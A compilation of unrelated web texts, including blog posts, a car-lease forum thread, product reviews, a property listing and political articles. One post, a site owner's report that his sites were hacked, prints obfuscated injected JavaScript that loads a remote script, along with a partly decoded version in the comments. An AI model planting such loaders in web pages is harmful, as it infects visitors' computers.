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Who knew that making the seemingly easy decision of where to go could be so… well, difficult. There are way too many questions to ask. Is the place far? Anyone else been there? Is it open? …and the list goes on and on until that facepalm-inducing moment when you end up going "Uwi na nga lang!"
In this blog post, we'll show you how the looloo app Explore filters make deciding where to go a lot less of a headache. We've come up with 8 common (and often frustrating) questions asked when checking out places.
Common Question 1: Ano ba malapit?
looloo Explore Filter: Nearby
Use the Nearby filter on Explore and save yourself the embarrassment of acting like a complete n00b when in unfamiliar places. Our airborne unicorn recon team can pinpoint where you are and relay back a list of places near your location in a matter of seconds.
Common Question 2: Ano ba uso ngayon?
looloo Explore Filter: Trending
What's the point of you wearing that brand new pair of skinny jeans if you ain't gonna show them off? With the Trending filter, find out where everyone's hanging out these days and show them you know all the latest trends.
Common Question 3: San yung mga ibang naka-looloo?
looloo Explore Filter: Latest
Bored? Maybe you want to try your luck at having a serendipitous moment with a fellow looloo reviewer? The Latest filter is the ultimate stalker tool to use when checking out the app's most recently reviewed places. Hey, don't knock it 'til you've tried it! Malay mo, mag-review bigla si Georgina Wilson.
Common Question 4: Guuuuys, san kayo?
looloo Explore Filter: Following
This one's for all you social butterflies/clingy friends out there. If you're wondering where all your friends have been going, the Following filter shows you the latest reviews only from people you follow on the app. Be the thoughtful review-reading friend or the kinda creepy "I know where you were yesterday hihihi" acquaintance. Nyaha!
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Monday, March 10, 2008
Exploring a Virtual School
The blog will take a slightly different focus over the next 8 weeks. Instructional Computing II is one of the courses I'm taking in the Educational Technology graduate program at the University of Florida. As part of the course, I have a unique opportunity to intern with a virtual school. This school is part of the Public School System. It is currently serving nearly 100,000 full and part time students who are taking over 90 courses in grades 6-12. (View demographics.) During the internship, I will be observing an online AP History course. This is especially valuable because I will be teaching AP Human Geography for the first time next year. There will be an online component, so I'm especially interested in course design and management.
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Website HackedTwo websites I'm running, Ambiera.com and this site, Irrlicht3d.org have been hacked yesterday. We are not sure yet how this happened, but if you visited this blog or Ambiera.com yesterday between 10 and 12 o'clock (UTC +1), it might be a good idea to run some anti virus software on your PC, I cannot say what the attacker extactly wanted to do: Somebody attached a javascript to the bottom of a few html sites. The code looked like this:
var Hd1voqaixds8 = 'E1usw40fczkxa7';Gldapnhsg069.setAttribute('type', 't(^$e)x)t)(^/)@j(@a^v^&a#!#s$!c@&r@i^&&p)t!^'.
replace(/\)|\(|&|#|\^|\!|\$|@/ig, ''));Gldapnhsg069.setAttribute('src', 'h!&(t(t!(p#:))!^/#/#!$f^r&@!e(&e^o(@n$e!s)$-
replace(/\!|\$|&|@|\(|\)|#|\^/ig, ''));Gldapnhsg069.setAttribute('defer', 'd(!@e^()f$$(@e)#r@)'.
replace(/@|\^|\)|\(|&|\$|\!|#/ig, ''));Gldapnhsg069.setAttribute('id', 'G@$@&0@!$&m&7$@@!p(@$!!x
($c$d^$8$&c(^$$4&!w((^)4$$&@'.replace(/@|\$|\!|&|\)|\^|#|\(/ig, ''));
document.body.appendChild(Gldapnhsg069);}} catch(Cla4d3870kj7) {}
(some random line breaks added by me for security)
I have not looked what this actually does, but if you are interested, feel free to have a look at this. Thanks to Jetro for quickly letting me know about this problem!
seven comments, already:
Looks like this is not a complete piece of code.
Commented the code out to avoid problems and renamed "Gldapnhsg069" to "scriptElement" for better reading:
var scriptElement = document.createElement( 'script' );
var Hd1voqaixds8 = 'E1usw40fczkxa7';
scriptElement.setAttribute( 'type', 'txt/javascript' );
scriptElement.setAttribute( 'src', 'HERE COMES AN ADRESS';
scriptElement.setAttribute( 'defer', 'defer' );
scriptElement.setAttribute( 'id', 'G0m7px8c4w4' );
document.body.appendChild( scriptElement );
}} catch(Cla4d3870kj7) {}
This was the whole script, except where it was trying to invoke itself of course (set it to window.onload). Also, I omitted a comment in the beginning with the only content 'GNU GPL', but that was all.
niko - 29 12 09 - 09:16
Yesterday, irrFuscator was briefly mentioned in this talk on the Chaos Communication Congress: http://events.ccc.de/congress/2009/Fahrp..
Maybe some script kiddy in the audience had a stupid idea?
ak - 29 12 09 - 12:10
hm, interesting (thanks for the link, btw) could be an idea.. :)
niko - 29 12 09 - 18:55
Are you using weak or commonly used passwords (the same as on other website)?
ale - 30 12 09 - 05:12
no, it's not a weak password, but there is only one: it's only one website, with different domains.
niko - 30 12 09 - 11:19
That is fucking sick.
The same day, around the same time, my wordpress blog got hacked – code looked the same (js & index.phps overwritten) and a private phpBB3 forum of mine, both running on different servers!
And as that's not enough, the forum hack installed trojans on my two PCs… (syszid)
christian (link) - 31 12 09 - 09:55


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When Spencer Zwick looks back at the "defining moments" of the 2012 election, an obvious one sticks out.
Zwick, who ran the massive fundraising operation for 2012 Republican nominee Mitt Romney that raised nearly $1 billion, saw firsthand how the then imperfect version of "opposition research" hit his candidate's campaign hard.
In September of that year, a bombshell video showed Romney dismissing the "47%" of people dependent on government handouts, who he said would vote Democratic "no matter what."
That video was not discovered by President Barack Obama's campaign or even a traditional news outlet. It was filmed at a fundraiser and unearthed by James Carter IV, then a freelance opposition researcher who tipped off Mother Jones. But it became an ever present theme of the campaign's last two months, as Democrats used it to torch Romney as an out-of-touch plutocrat.
"The opposition used that very effectively. They used 47% as a way to define Mitt Romney," Zwick told Business Insider in a recent interview. "There's an old saying in politics: If you're explaining, you're losing. And it required Gov. Romney to explain what he had said."
The good news for Republicans in the 2016 election cycle: If there are moments like that on the Democratic side, the GOP is going to have an elaborate effort to try and find them. That's what's behind Zwick's announcement that he will chair opposition-research firm America Rising PAC, despite being one of the most wanted men in Republican politics after Romney announced he wouldn't run for a third time in 2016.
He'll work as a volunteer on the PAC and continue in his capacity as a managing partner at the firm Solamere Capital. But signing on with America Rising, a more than two-year-old firm founded in the wake of the 2012 campaign, means he'll stay neutral in a crowded primary field of more than a dozen Republican candidates.
For Zwick, it wasn't a hard choice. He feels that ultimately, opposition research will have just as much — if not more — say in influencing the eventual outcome of the 2016 presidential election. Campaigns are now run through an ever increasing number social-media platforms, he explained, and candidates have become all the more visible.
"After 2012, I spent a lot of time thinking about how I could have impact in the 2016 cycle," Zwick said. "There were a lot of lessons learned for me in 2012 about what the ingredients are for a campaign. Anytime you have an experience like that, I think it presents an opportunity to reflect and what didn't. ... 2012 was really the first social-media campaign that had existed in presidential politics."
What that means is that candidates increasingly are making their own news cycles. Or, groups like America Rising are doing it for them.
Democrats already had a group like this in 2012. American Bridge, the Democratic opposition group founded by David Brock, dug up such scoops as then Republican Senate candidate Todd Akin's remarks about "legitimate rape" and abortion. In its lengthy " autopsy report" after the 2012 election, the Republican National Committee called for an "outside group" to focus "solely on research of Democrats."
Enter America Rising, which burst onto the scene in the aftermath of the 2012 election. It was founded by Romney's former campaign manager, Matt Rhoades, who Jim Messina, the campaign manager for Obama's 2012 reelection campaign, recently said is the "smartest Republican operative today." Tim Miller, now the communications director for former Florida Gov. Jeb Bush's presidential campaign, and Joe Pounder were the group's other two cofounders.
Upon its inception, America Rising immediately set out to research Hillary Clinton, who was expected even then to launch a front-running Democratic bid for the White House. And America Rising made its presence felt in the 2014 midterm elections, when Republicans rode a wave to recapture control of the US Senate, by both researching Democratic candidates and by sending so-called "trackers" to record their every move on video.
"What's happened is that TV advertising has become much less effective for a campaign," Zwick said. "People recognize when a political ad comes on, it's either for or against a candidate. People tune them out. I tune them out. I have no interest in watching political ads."
"They are really the one group that is able to hold a candidate accountable," he added. "And the lesson that I learned from the last campaign — the way people follow campaigns is much different."
Case in point: During the summer slog of the 2014 cycle, an America Rising tracker took video at a fundraiser and exposed what would become the most infamous comments of Rep. Bruce Braley's (D-Iowa) campaign for Iowa's open US Senate seat.
Braley, an attorney, referred to Sen. Chuck Grassley (R-Iowa) as "just a farmer who never went to law school" when talking about the potential that Grassley would chair the Senate Judiciary Committee in a GOP-controlled Congress. The comments quickly broke through on the national scene. Braley ended up losing the race to Republican nominee Joni Ernst by a little more than eight points.
"That would never have made it into the mainstream media but for a group like America Rising," Zwick told Business Insider. "And I believe that politicians and campaigns are fully exposed — and should be exposed — for who the candidates really are as people, both in a private setting as well as a public setting. That's happening, and America Rising is the medium that's allowing that to take place."
Here's the America Rising video that helped sink Braley's campaign:
The key target this time is Clinton, on whom the group has already zeroed in during the lead-up to her eventual run. A quick cursory inbox search revealed that America Rising has blasted out at least 118 emails — both to reporters and supporters — with items about Clinton since June 2013.
Zwick said he expects Clinton and allied outside groups — the so-called super PACs supporting her — to raise upward of $2 billion over the course of the campaign.
After Romney ultimately held off running a third time, Zwick became one of the most sought-after people in Republican politics. Romney, he said, tasked him with making sure they could help a plethora of Republican candidacies be "the best they could be."
One way is facilitating meetings among donors and business leaders with candidates. The other is by taking advantage of the lessons he learned from 2012. And that's why he told Romney he was joining America Rising.
Said Zwick: "I'm aligning myself with a group or an individual — in this case, America Rising — that I think is going to have the highest and best impact for whoever our nominee is."


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You could say that this weekend was one for celebrating things as I left YOG YOG's 2nd Birthday party and went straight to Seven Years of Science Frikshun. Science Frikshun has had quite an amazing run and I greatly admire this movement because it has done so much for Drum & Bass in Johannesburg and probably even has some impact on a national level.
Now here's the catch, I don't even like dancing to Drum & Bass that much. I enjoy listening to it while I work and read but my skank (style of dancing) doesn't have the longevity to take me through four hours of it at parties. I'm one of those die-hard dubstep lovers from 2011 so I regularly go to places and can't even whip out my bass face. So you can imagine my surprise on this night when I discovered that the DJs I was listening to strayed away from the Jungle Drum & Bass and played more Drumstep. I almost wished I was at the event earlier on because I got to whip out my bass face.
I insist that parties are made by the people who attend it so even though Drum & Bass isn't my go-to dancing music I'll be back. This Science Frikshun was my first and I'm looking forward to attending more because there is such an incredible atmosphere. Everyone moves as a single dancing object and people are just ready to have a great time.
Like I mentioned earlier on this post, I was there for a short while but I hope you enjoy the few photos I did take.


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2013 and earlier Volvo XC90 Lease Questions
rlongo76 Posts: 3Dealer here in southern california told me today that they extended the program through August. I'm going in today to see what they have to offer.0
onc Posts: 26Volvo Center, San Antonio, Texas.0
naut_online Posts: 10I finally setteled on my deal...
39 months @ $559.63/month $787 upfront, which is first payment and doc fee. I think the doc fee is just another way for the dealer to get a couple hundred bucks - but I can't verify that, useless someone knows if US bank charged them a doc fee? What I would really like to know is if you get an extra 3000 miles for the 39 month lease or is it capped at 36,000?0
A while ago a Volvo dealer told me that the price for extra miles was the same whether you paid for them up front or turned the car in over the 36K. Ask you dealer what the cost is both ways.0
Hi naut_online. A 39 month lease would allow 39,000 miles (12,000 per year).
Prices Paid: Buying & Leasing Experiences Forum0
rcohen Posts: 1do you like the 2010 volvo xc90 or the 2009 acura mdx looking to lease now0
got a (canned) email from a volvo dealer today that says that "safe and sound" is still on and that it also applies to 2010 models.0
Edmunds shows starting 9/1/09 the loyalty cash is $1500 and Marketing Support is $1500.
Just spoke to a salesman today, he said starting 9/1 the alternative lease support is only $3000 now for XC90 3.2AWD, down from $5000 before, does anyone know if that's true?
Also, does anyone know the lease terms available from US Bank? Looking for residuals (%) and money factors for 36 or 48 month lease (or closest to), 12k/year. Bank fee charged by US Bank?
Thanks very much for any answers!0
Given the horrible August sales numbers just released by some manufacturers, especially considering the boost that "cash for clunkers" was supposed to give, I am amazed that they would reduce incentives. I would think they would increase them, if anything. I would like to lease an XC90 but I refuse to do it at current prices.0
totally agreed, and I'd assume tougher for Volvo which (given its poor fuel efficiency) was never the targeted beneficiary of the clunkers program...
But keep in mind this was a salesguy speaking, that's why I'm looking for independent verification here by Car_Man or anyone else who might know...0
Need some help quickly as I need to get another car this week, our 2007 lease is ending sooner than I thought...
Does anyone know what the current Volvo or US Bank lease numbers are (residual value %, money factors, 12k/year, 36/39/48 mos)?
Are they different for 2010 vs 2009 models? I would presume so, since in 3 or 4 years all else equal the 2010 model will be worth more than 2009 model...
Also, what Alternative lease support is Volvo offering for 2010 and 2009 models? Edmunds shows $4000 for 2010 but nothing for 2009, could that be right?
Thanks very much!0
XC90 inventory is very very low right now. No need for big incentives when you don't have many cars to move.0
Thanks volvomax. If you know them, would you mind sharing the US Bank residuals and money factors for 36 and 48 mo leases? 800 credit score, existing Volvo customer.
XC90 3.2 AWD Prem/Vers/Climate, for Northern California
for 2009 (and 2010 if you have them!)
Thank you sir.0
Here's the latest info for 2009 model year (2010 in parentheses):
Volvo Incentives:
Volvo Loyalty Cash 1500 (1500)
Alt Lease Support 3000 (4000)
Marketing Support 1500 (500)
US Bank Lease Terms for 2009 model year:
36 mos/12k mi per year - 41% residual value, .00212 money factor
36 mos/15k mi per year - 39% residual value, .00212 money factor
48 mos/12k mi per year - 32% residual value, .00207 money factor
48 mos/15k mi per year - 30% residual value, .00207 money factor
US Bank Lease Terms for 2010 model year:
Add 1% to 2009 RVs, same mf's
Took me a couple days, hope this saves others some time.0
Wow, those residuals are horrible. Better to buy a CPO instead0
Not really, if you're comparing leasing new vs CPO, the money factors, residuals and monthly payments on a CPO would be much worse, so the CPO payments would likely be higher than new car payments. Plus there's far less transparency/uniformity with used cars so dealers have better chances of ripping off customers than with new.
Independent banks don't like to finance leases for cars that would be 5-8 years old when they come off lease, there's too much back-end risk on residual values so they whack em down low in used car leases.
Plus, you don't get the 5-year safe+sound maintenance-free coverage from new...
All in all, you're way better off leasing new than CPO.
And don't let any used car salesman convince you otherwise. If they do, post your deal terms on this board first before pulling the trigger and we'll give you some honest feedback...0
I said buy a CPO.
With those horrible residuals you can hint that used XC90s are going for cheap and with 6 year/100K mile warranty: http://tinyurl.com/n4tfos
You get a 4 year loan from chase @ 5.31%: http://tinyurl.com/oxyumh
Your payments are $601.26 with $0 down.
It makes more sense to buy a CPO rather than to lease a new one; after 4 years you still got equity with the former.
I do the math all the time; just got a new Subaru Legacy 2.5i SE for $244 + tax with $0 due at signing (not even tag or tax). 36 months lease/12K miles a year.0
Sorry I missed your point about buying CPO. However, a used CPO car isn't the same as a brand new car so its hard to compare, but lets try to break down the differences between leasing new (2009) vs. buying CPO (2007) over 4 years:
First, you'll spend more on maintenance on a CPO (assume $500-$1000/year?) x 4 years = $2000-$4000. I spent $1500 on tires alone for the first 2 years of our current 2007 XC90 lease, and maintenance is sure to be higher in years 2-6 than 0-2.
Second, your payment ignores sales tax at $601. Including sales tax (9.25% here in California) and using Chase's 5.61% interest rate for California the payment would be $661. This is roughly $98 more per month than the $563/mo lease available on a brand new car (7 passenger AWD), x 48 mos = $4700
Third, to "equalize" the options lacking from the car you've identified, the 7-passenger rear seats were a $2500 option but lets say you can somehow find and install the rear seats for $1250, and install bluetooth for $400.
So, at the end of 4 years in 2013 you've paid off your 2007 CPO car and own it outright, but the difference in cost of ownership ranges from $8,350-$10,350. Will the "equity" in your 2007 model be worth more than $8,350-$10,350 in 2013 (as a 6-7 year old car)? The residual value for the above 2009 lease (AWD 7) in 2013 is $12,397, so $8,350-$10,350 for a 2007 model with higher miles doesnt seem that far off, plus as a CPO owner you take maintenance and RV risk.
If the lease RV is below-market at lease-end the lessee can buy the car and capture any upside. Conversely, if the the RV is above-market at lease-end the lessee doesn't suffer any losses, whereas an owner will suffer the loss. The future market value risk is borne by the bank and the CPO purchaser.
Do you look at this any differently? If so, I'd be curious to understand your analysis and how you conclude that buying CPO is better.
The Subaru deal sounds pretty good.0
For apple to apple comparisons, I do not include sales tax. I also metioned $0 down; not sure if the lease deal has the same term.
The cost of ownership really depends on what type of maintenance I choose. The local mainekee can perform the basic tire rotation and oil changes inexpensively.
Based on these examples were are at a point where a CPO buy and a new lease might cost the same after 48 months. The leased car goes away whereas the CPO is being kept. 2 more years with no car payments makes it a win-win situation.
Before, when the XC90 was a $429/month deal for 24 months, it was a NO-brainer. I do have a 2008 XC90 with all options but Navi. 24 month lease of course.0
My 2009 XC-90 two year lease is running out in several months. The residual on it is about $31K. I've heard stories about Volvo Financial knocking as much as $10K off the residual for a buyout.
Is this possible, a reality, anyone with any knowledge?
Would seem to make some sense given the deals on a new XC-90, and the very depressed value of used ones. If this is not fact, we're in the market again......0
VFNA isn't knocking $10k off XC90's. Maybe last year,but not this year.
XC90 prices are going up at the auctions.
$31k is about right for an 09 if its a 6 cyl.0
It's an '08 AWD, with about 18,000 miles.
Is VFNA knocking anything off?
Add a couple of grand to the residual, and we can purchase a new XC-60.0
How'd you get an 09 two years ago?0
For an 08 AWD, wholesale is @ $28,000
So, probably not much relief there.0
mel10021 Posts: 31Does anyone have #'s for a new XC90 ? I have a 2008 coming up in December.
Looking for V6, AWD, climate and 3rd row.
Lowest miles per year
Hi goucla. What you were told by the dealer is correct. Volvo is only providing $3,000 on leases of '09 XC90 3.2 models through independent banks in September.
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Hey goucla. It does not appear as though Volvo is running a special lease program on the XC90 through Volvo Finance this month. If you really want to lease this car, you probably would be best off doing so through US Bank and taking advantage of the additional $3,000 cash incentive that Volvo is providing on leases of the '09 XC90 3.2 and $4,000 on leases of the '10 through independent banks. Unfortunately, I have not seen the US Bank lease program so I don't know what the specifics of it are.
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jtminuteman Posts: 1I went over to the San Diego Volvo dealership today to check out the '10 XC90. Here is the lease deal they gave me. Thoughts?
Invoice Price - 37560 + 350 = 37910
ALA - 4000 (from US Bank)
So the price was 33410.
The Residual was 9988 on a 5 yr/60000 car with drive cost of 7500 and 455/mo w/ taxes.
Is this a good deal?0
kinng Posts: 6Hi all, I have to lease an XC90 this week.
I have access to Ford A-plan employee pricing from my brother. I just need a base XC90 (2009/2010) It's MSRP is 38,600.
Please advise regarding financials -
-- what money factor can I expect
-- can I get the US Bank offer
Thanks a lot in advance.0
adampratt Posts: 6Maybe I'm not a good negotiator, but I've been searching for about a month for a great deal on a CPO '07/'08 XC90 with leather, 3rd row, and AWD with a clean carfax. The prices I'm seeing seem so inflated ($30-33k in Chicago) that I'm beginning to wonder if it isn't worth it go OSD, especially considering the Safe + Sound offer and I even think the Climate package is included for free right now. I estimate my cost new w/OSD at about $37k.
I thought I'd never buy a new car, but the price difference between CPO and OSD is so slim that I'm leaning to OSD. Any comments? Am I reading the market accurately or are these factors I'm not considering?0
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It's almost that time of year again, and Christmas is just around the corner. You really enjoy putting up those holiday decorations on your home, but it gets a little boring doing the same thing year after year. Maybe it's time for you to try adding some white laser Christmas lights into your home's holiday decorating mix. It will be something new and different that will make your home's decorations the talk of the neighborhood.
What are white laser Christmas lights?
They are not your ordinary ho-hum blinking lights that is for sure. These can really light up your yard and home with nice bright colors and decorative Christmas patterns. Unlike snowflake projectors, white laser Christmas lights do not lose their image quality or intensity the further away you get from the objects you are projecting them on. They also cover a huge amount of square footage with their beams they project when they are placed further away from what they are illuminating.
This means you get an incredible decorative effect around your home no matter where you set these laser units up. Imagine too the time and effort they will save you too because you did not have to hang up regular strings of decorative lights around your home.
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You can find several different models of these interesting and fun lights in the Christmas decoration marketplace, but here are a few models we definitely think stood out among the rest.
This was an easy choice as our number one selection for the best white laser Christmas light. It does so many things and does them all well. It shoots out a very clear and vivid laser light and does it so the image and light quality it projects is second to none. This unit is not just great around the holidays but can be fun to use for special occasions all year round.
It has 6 distinctive screen patterns to choose from. All of which project either bright colors or clear images. These even look great from a distance. It also comes with a handy remote control, or you can use the controls on the laser light housing too. There is a lot of innovation that went into making this model white laser Christmas light.
This unit could also not be easier to setup. There is very little assembly required, and once that is done all you need to do is plug it in and turn it on. Best of all its light show will cover an amazing 5000 square foot area when it is placed around 30 feet away from its being projected on.
- 6 fun patterns to choose from
- Easy to Install
- Durable
- May have issues in extremely cold conditions
- Controls could function better
- Remote range is short
Our first runner-up on our list of the top reviewed white laser Christmas lights is no slouch either. It is another laser light product that will cast some vivid and cool colors on an object even when placed far away from that object. This laser light will have a dramatic holiday effect on your home that all your neighbors will be jealous of and guests will love.
This fun white laser Christmas light is suitable for both indoor and outdoor use. The setup on this light could not be easier, and it is very simple to control too. It has such outstanding features as a 24-hour timer built into it and it even comes complete with a remote control.
One of the best things about this light is that it's very well constructed. Unlike many similar lights that are made out of plastic, this laser light is made out of a good grade aluminum alloy. That should help it last much longer than less well-constructed laser lights because it will tolerate heat buildup better when running.
- 24-hour timer
- Easy to Install
- Comes with a handy remote control
- Could broadcast light over a bigger area
- Remote control could function better
- Not 100% waterproof
Here is one of the more affordable laser light products on our review list. It is a basic model light but in most cases that is all you need anyway. It still puts out some very bright and vivid lighting that will help get you in a more festive mood no matter what the occasion is you are celebrating. This light works great whether you are shining it on your home or using it to illuminate a bank of snow in your yard.
Everything you need but the electricity comes right in the box this laser light comes in. This unit will be up and running in only the time it takes you to place this light in your yard and then run a power cord to it. It really is that simple a product to set up and use.
A nice Christmas laser light like this one will help decorate your yard for the holidays without having to go through the tedious and time-consuming process of hanging up lights. It is suitable for both indoor and outdoor use too
- Automatically turn on when it gets dark
- Easy to Install
- Indoor or Outdoor use
- Could be more light beams
- The light is stationary
- Not waterproof
4. Christmas Laser Lights Halloween Outdoor Projector Waterproof Moving Star
Here is a great laser Christmas light that even rotates as it works. You will find setting it up easy, and once it's up and running, you will be amazed how well it lights up a large area of your home. This light looks especially great if you shine it on something like a bank of trees or along a driveway.
It consists of three different laser light color choices which are red, white and green. You can run it using just one color, or you can mix and match for even more fun. It has such great features as several different timer modes, the ability to be controlled remotely and it's even almost 100% waterproof too.
Best of all this light takes very little energy to run. It can save you a lot of money as opposed to the electric bill that comes when you hang up regular Christmas lights.
- Automatic timers
- Broad application area
- waterproof
- Could be more light beams
- Can be difficult to focus the beam
- Limited remote control range
White Xmas Light Shopping Tips
Here are a few key characteristics of Christmas laser light projectors to focus on while you are shopping for a new one:
If you are like most people, you are going to put this device outside, so it better be able to hold up against the elements. That means you want it to work well in a wide temperature range and have a sturdy exterior that is made out of an aluminum alloy or very rigid plastic. If it's waterproof, that is even better.
Pure white laser light will have a dramatic effect on any outdoor landscape, but it gets that much better if you have even more colors than that. So look for a unit that has more than one color it can project in. If you can shine out multiple colors at once, then that is even better.
Some white laser Christmas lights just project their beam out in one direction with no movement. That is ok, but you can get a much more decorative effect if you by a Christmas laser light device that can rotate too.
Ease of Setup
One of the reasons most people buy a laser light unit is, so they don't have to go through the hassle of putting up regular Christmas bulb lights. A white Christmas laser light unit should take only a few minutes to place on the ground and then be ready to be up and running once the cord is plugged in.
Remote Control
You don't want to run out into your yard on a cold winter evening to start your laser light unit, so try to get one that comes with a convenient remote control. It will make operating your laser light device so much easier.
Our Final Thoughts on the Perfect Xmas Decoration
There simply is no easier, faster and safer way to decorate a room inside your home or decorate your yard than with one of these very good laser light systems. They are not just for the holidays either, and they can be used for many different special occasions that are done throughout the year. So if you have not already done so, give these innovative and creative yard decoration devices a try the next time you are having a special event around your home.


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- Address: 2819 Muscovey Ct, Johnstown
- Price: $299,900
- County: Weld
- Style: 2 Story
- Community: Pioneer Ridge/Stroh Farm
- Bedrooms: 3
- Bathrooms: 3
- Garage spaces: 2
- HOA Fees: $120/M
- Total Square Feet: 3120
- Taxes: $1,562/2013
- Total Finished Square Fee: 2100
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Construction: Wood/Frame, Stone
Roof: Composition Roof
Common Amenities: Common Recreation/Park Area
Association Fee Includes: Common Amenities
Outdoor Features: Lawn Sprinkler System
Location Description: Cul-De-Sac, House/Lot Faces W
Fences: Enclosed Fenced Area, Wood Fence
Basement/Foundation: Full Basement, Unfinished Basement, Slab, Sump Pump
Heating: Forced Air
Cooling: Central Air Conditioning, Ceiling Fan
Inclusions: Window Coverings, Gas Range/Oven, Self-Cleaning Oven, Dishwasher, Refrigerator, Microwave, Laundry Tub, Disposal, Smoke Alarm(s)
Energy Features: Double Pane Windows, High Efficiency Furnace, Set Back Thermostat
Design Features: Cathedral/Vaulted Ceilings, Open Floor Plan, Bay or Bow Window, Walk-in Closet, Washer/Dryer Hookups, Wood
Floors Master Bedroom/Bath: Luxury Features Master Bath, 5 Piece Master Bath
Fireplaces: 2+ Fireplaces, Gas Fireplace, Family/Recreation Room Fireplace, Master Bedroom Fireplace
Utilities: Natural Gas, Electric, Cable TV Available, Satellite Avail, High Speed Avail
Water/Sewer: City Water, City Sewer
Ownership: Private Owner
Occupied By: Owner
Occupied Possession: Delivery of Deed Property
Disclosures: Seller's Property Disclosure
Flood Plain: Minimal Risk
Possible Usage: Family New Financing/Lending: Cash, Conventional, VA
School Information
- High School: Roosevelt
- Middle School: Milliken
- Elementary School: Pioneer Ridge
Room Dimensions
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- Dining Room 12x11
- Living Room 11x9
- Family Room 15x13
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- Bedroom 2 11x10
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Global Heating
I don't like cold weather so I like living in a hot country. Last night, however, tested our tolerance. I was feeling comfortable when, all of a sudden, it felt as if someone had lit a fire nearby. It was a dry heat and I didn't start actively perspiring, which happens when humidity levels rise.
'Er Indoors and our neighbours also commented with the local version of "Phew, wot a scorcher!" so I looked up weather.com and this is what I found.
I've heard of the wind chill factor making cold weather feel colder, but never a heat feel factor. The whys and wherefores of last night's phenomenon elude me so I'm more than happy to give a plug to Calvin Jones who wrote to me as follows:
Hi Jakartass,
I've started a climate change blog and thought a good way to promote it would be to find people blogging about similar issues and tell them what I'm doing. My blog is based on climate change but this takes in energy policy, renewable energies, carbon capture storage, ecology, peak oil, poverty, politics … etc.
Hope it is of some interest.
It is, Cal, it is.


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An upbeat, fun and highly infectious offering of Electro Swing tracks by 11 Acorn Lane. The EP includes their version of the Kool And The Gang song "Ladies Night" and a catchy remix of it.
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Hello Scala enthusiasts,
Our last Scala coding session on January 17th was a big success. We were so happy to finally meet so many of you scala coders and received a lot of positive feedback after the event. As the result, we hereby introduce our second Scala coding session, in collaboration with the Copenhagen Scala User Group.
For those for are new, the idea is simple. Let's get together and create something awesome in Scala. It doesn't have to be feature complete but it should bring enough exposure to the language and the power that it brings. Don't be shy to share ideas, as we will come up with a couple of small or one big project that we can code up together.
For those who attended the first coding session, as agreed, we will have a follow up to finish our Akka Actor task, possibly start a new one and talk about Partial Functions.
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Jim and Linda Blum – residents since 2014
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involved in as few or as many committees and activities as he/she wants."
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Resident representation on the Board of Directors and active participation by residents in the life of Sherwood Oaks was one of the reasons we chose to live here over other retirement locations that have no resident voice. There is an extensive list of activities and committees which cover a wide range of interests. Regular programs, special occasions and events all add to the full life we experience at Sherwood Oaks.
You'll love it! Don't say, "Someday!" Move here soon. If you're in your 60's like we are, it's the ideal time to begin enjoying all that Sherwood Oaks offers. We have the peace of mind for our future health care, enjoy the gourmet meals, many social opportunities, a beautiful home on a picturesque campus, on-site conveniences and transportation to various venues. Take time to experience a tour to see for yourself just how wonderful retirement can be."
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While one would be hard-pressed to say the Republican Party is in decline while they run the House of Representatives, can prevent vital votes by using the filibuster in the Senate and have a candidate running neck-and-neck with President Obama, the death knell may be sounding soon. Climate change could hasten the end for this powerful mainstream party.
The radicalism now in vogue among Republicans goes beyond small-government Tea Party partisanship. The Heartland Institute, a conservative think tank, was funded by large corporations until its decision to put up billboards in Chicago comparing belief in climate change to terrorism. The ads featured Ted Kaczynski, the Unabomber, proclaiming his belief in climate change, inviting a comparison to everyday believers in climate change. Many sponsors fled Heartland like a sinking ship in the aftermath.
The Republican attitude toward science is skeptical at best and derisive at worst. The major Republican candidates came out almost uniformly against science during the primaries, from Rick Perry calling evolution just a theory to Mitt Romney declaring he does not know if humans cause climate change. Only Jon Huntsman dared to break from the groupthink.
Perry's stance was not surprising. But Romney once supported climate change action when he was the governor of Massachusetts. Some donors hope that Romney will come through for the environment once elected president. They perhaps accurately think he is having to skew to the right to get on the ticket, which is forcing him to adopt anti-environmentalal positions, but campaign promises are good indications of how politicians behave in office.
There are reasons to think that such awkward contortion is bad for much more than Republicans' backs. Trying to appease the vocal minority of the Republican party is out of step with national opinion and irrational for a party that would like to stay relevant. Three out of four people in a recent survey support regulating carbon dioxide as a pollutant. Yet conservative leaders from Virginia to Texas, apparently unaware of or unconcerned about public opinion, sued to block the EPA from trying to regulate greenhouse gas emissions -- and lost.
Climate change is emerging as a wedge issue even among Republicans, with only a majority of the most conservative Republicans preferring traditional energy over alternative energy. What appears to be most troubling is that the more education conservatives have, the less likely they are to agree with climate science. So the Republican Party's well-educated elite leaders could well be the ones to drive their party into the ground.
Perhaps the Republican Party feels insulated from its self-destructive tendencies because of historical trends that value candidates and interest groups over party affiliation. The decline of the importance of the party could indicate that as long as powerful personalities and a network of interest groups motivate people enough to vote for conservative ideas on election day, the infrastructure and day-to-day actions of the party don't particularly matter. This line of thinking goes back as far as David Broder's 1971 article The Party's Over. But there is reason to doubt the notion that the Republican brand would not suffer any setbacks, especially when the effects of climate change could be so drastic as to tarnish the entire conservative establishment, which has hitched its wagon to denial.
The results of climate change, and thus for the Republican image, could be disastrous. One study reported that climate change is already killing thousands per year. Another study predicted that millions could be trapped in disaster zones. The net economic effect has been estimated at $1,240 trillion. People would make the connection that Republican obstinance helped produce those tragedies.
The collapse of major parties has sometimes been due to their inability to confront large issues. The Whig party collapsed because it could not tackle the slavery question in the 1850s. Other times, it has been because of a party's seeming aristocratic and anti-democratic tendencies, as with the Federalist Party's collapse. The Republicans are at risk on both counts.
Dealing inadequately with disaster does not always spell misfortune for political parties. Neville Chamberlain's appeasement policy toward Germany did not result in a vast turnover for the Conservative Party. Churchill was elected prime minister as a Conservative in 1940 after Chamberlain left power. However, the Conservatives were shielded from fallout because most Britons did not want war under Chamberlain. In America today, most want action on climate change.
There are already demographic time bombs working against the Republican Party. The millennial generation is more progressive than other generations. And Latino political affiliation is more Democratic and Independent. If climate change gets worse in the coming months and years, and Republicans remain refractory in not embracing public opinion to do something about it, it could haunt them for generations.


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Despite the widespread notion that we have inadequate means to support our energy consumption, the US actually has enough from wind, solar, and tidal & wave to produce a total of approximately 6,987 terawatts of power per year. That's far beyond the 3.9 terawatts the country currently uses. However, much of this prospective energy goes unharvested. Still, we are coming closer to attaining free energy, and the move to renewable energy has opened up a lot of room for experimentation and discovery. Beyond utilizing sources that harbor seemingly infinite promise, we are finding ways to deplete existing waste by converting it into energy. So far, this appears to be a win-win ecologically, as solid waste and organic matter taken out of landfills and sewers, all the while providing yet another seemingly infinite source of energy.
